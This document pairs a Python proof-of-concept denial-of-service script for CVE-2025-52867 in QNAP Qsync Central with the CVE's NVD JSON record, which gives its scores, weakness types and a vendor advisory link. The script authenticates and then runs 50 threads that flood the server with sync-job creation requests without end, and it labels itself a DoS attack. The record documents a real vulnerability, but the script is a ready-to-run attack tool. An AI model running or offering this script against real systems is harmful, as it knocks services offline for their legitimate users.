CVE-2025-52867

# CVE-2025-52867 - QNAP Qsync Central Uncontrolled Resource Consumption PoC # This PoC demonstrates a denial-of-service attack by exhausting server resources # through excessive authenticated sync requests. import requests import threading import time TARGET_URL = "https://target-qnap:8080" USERNAME = "attacker_user" PASSWORD = "attacker_password" def authenticate(session, base_url, username, password): """Authenticate to Qsync Central and obtain session cookie.""" login_url = f"{base_url}/cgi-bin/qsync/qsync.cgi" payload = { "act": "login", "user": username, "pwd": password } response = session.post(login_url, data=payload, verify=False) if response.status_code == 200: print(f"[+] Authenticated as {username}") return True return False def trigger_resource_exhaustion(session, base_url, thread_id): """Send repeated sync requests to exhaust server resources.""" sync_url = f"{base_url}/cgi-bin/qsync/qsync.cgi" while True: try: # Trigger large sync job creation repeatedly payload = { "act": "create_sync_job", "folder_pair": f"/exhaust/target_{thread_id}_{int(time.time())}", "sync_type": "two_way", "file_count": "100000" } session.post(sync_url, data=payload, timeout=5, verify=False) except Exception: pass def main(): session = requests.Session() if not authenticate(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Authentication failed") return # Launch multiple threads to maximize resource consumption threads = [] for i in range(50): t = threading.Thread(target=trigger_resource_exhaustion, args=(session, TARGET_URL, i)) t.daemon = True t.start() threads.append(t) print("[*] DoS attack in progress... Press Ctrl+C to stop") while True: time.sleep(1) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-52867", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:48.387", "lastModified": "2025-10-08T16:06:43.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An uncontrolled resource consumption vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.2 ( 2025/07/31 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0.0", "versionEndExcluding": "5.0.0.2", "matchCriteriaId": "8F6CF68C-7492-426E-A30A-5E0CBF284FAE"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-35", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}